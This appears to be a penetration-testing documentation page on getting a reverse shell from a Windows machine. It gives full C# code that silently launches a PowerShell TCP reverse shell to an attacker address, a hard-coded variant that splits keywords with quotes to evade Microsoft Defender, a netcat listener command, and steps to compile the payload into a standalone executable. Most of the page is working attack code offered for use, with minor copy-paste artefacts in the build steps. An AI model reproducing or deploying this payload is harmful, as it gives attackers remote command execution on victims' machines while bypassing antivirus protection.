> For the complete documentation index, see [llms.txt](https://docs.hackjiji.org/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.hackjiji.org/windows-pentesting/reverse-shell.md).

# Reverse shell

Create reverse shell on windows

## Reverse shell for windows - Splunk

{% embed url="<https://github.com/0xjpuff/reverse_shell_splunk>" %}

## C## code to get a reverse shell from a Windows machine

Make sure to change `'Attacker_IP'` and `'Attacker_Port'` to your attacker machine and desired port.

```csharp
using System;
using System.Diagnostics;

class Program
{
    static void Main()
    {
        ProcessStartInfo startInfo = new ProcessStartInfo();
        startInfo.FileName = "powershell.exe";
        startInfo.Arguments =  "-NoProfile -ExecutionPolicy Bypass -Command \"$client = New-Object System.Net.Sockets.TCPClient('Attacker_ip', Attacker_port);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\"";
        startInfo.RedirectStandardOutput = true;
        startInfo.UseShellExecute = false;
        startInfo.CreateNoWindow = true;

        using (Process process = Process.Start(startInfo))
        {
            using (System.IO.StreamReader reader = process.StandardOutput)
            {
                string result = reader.ReadToEnd();
                Console.WriteLine(result);
            }
        }
    }
}

```

{% hint style="info" %}
To Bypass the windows antivirus (Defender), you can use ''"  on So''"ckets and on i''"ex. Your Powershell code will become:

```powershell
   $client = New-Object System.Net.So""ckets.TCPClient('172.25.172.73', 443);
  $stream = $client.GetStream();
  [byte[]]$bytes = 0..65535|%{0};
  while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
      $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
      $sendback = (i""ex $data 2>&1 | Out-String );
      $sendback2  = $sendback + 'PS ' + (pwd).Path + '> ';
      $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
      $stream.Write($sendbyte,0,$sendbyte.Length);
      $stream.Flush()
  };
  $client.Close()
  
```

If you don't put the brackets, Antivirus will block the attempt and you will get this error:&#x20;

![](https://content.gitbook.com/content/C4CcD9gCTFzGtXx2V5PP/blobs/pwYV8A1jtHOWR93cvESY/image.png)

Putting the quotes "" or '' between the iax and socket, will make the Antivirus Defender see it while the powershell will treat the quotes as comment and ignore them resulting into concatenate of the string, s"ocket becomes socket and i''ax becomes iax. This is a technique to bypass the Defender antivirus.

#### POC:

![](https://content.gitbook.com/content/C4CcD9gCTFzGtXx2V5PP/blobs/GusmrSOlNoURz4Sov7LE/image.png)
{% endhint %}

```bash
nc -lvpn 1235
```

### Compile C## to executable (exe)

#### Option 1: Donet CLI

1. **Install .NET SDK**: First, ensure you have the .NET SDK installed on your machine. You can download it from [Microsoft's .NET website](https://dotnet.microsoft.com/download/dotnet).
2. **Create a new project**: Open a terminal or command prompt and create a new console project using the following command:

   shCopy

   ```powershell
   dotnet new console -o MyPowerShellApp
   ```

   This command creates a new folder named `MyPowerShellApp` with a basic console application.
3. **Replace** [**Program.cs**](https://program.cs/): Navigate to the new project folder:

   shCopy

   ```powershell
   cd MyPowerShellApp
   ```

   Replace the content of `Program.cs` with your C# code.
4. **Install required package**: Add the `System.Management.Automation` package to your project by running:

   shCopy

   ```
   dotnet add package System.Management.Automation
   ```
5. **Compile the project**: To compile your project into an executable, run:

   shCopy

   ```
   dotnet publish -c Release -r win-x64 --self-contained
   ```

   This command will create an executable in the `bin\Release\net6.0\win-x64\publish` directory.

#### Option 2: Open Visual Studio

1. **Open Visual Studio**: Launch Visual Studio and create a new project.
2. **Create a New Console App**: Go to `File > New > Project`, select `Console App (.NET Core)` or `Console App (.NET Framework)` depending on your preference.
3. **Add Your Code**: Replace the content of `Program.cs` with your C# code that runs the PowerShell script.
4. **Optional: Add Required NuGet Packages**: Right-click on your project in the Solution Explorer, select `Manage NuGet Packages`, search for `System.Management.Automation`, and install it.
5. **Build Your Project**: Click `Build > Build Solution` or press `Ctrl+Shift+B` to compile your code into an .exe file. You'll find the executable in the `bin\Debug\netcoreappX.X\` or `bin\Release\netcoreappX.X\` folder depending on your build configuration.

The executable complied code should be available on under the the bin folder:

<figure><img src="https://content.gitbook.com/content/C4CcD9gCTFzGtXx2V5PP/blobs/olZdybvIYEfpNLtmA8Ju/image.png" alt=""><figcaption></figcaption></figure>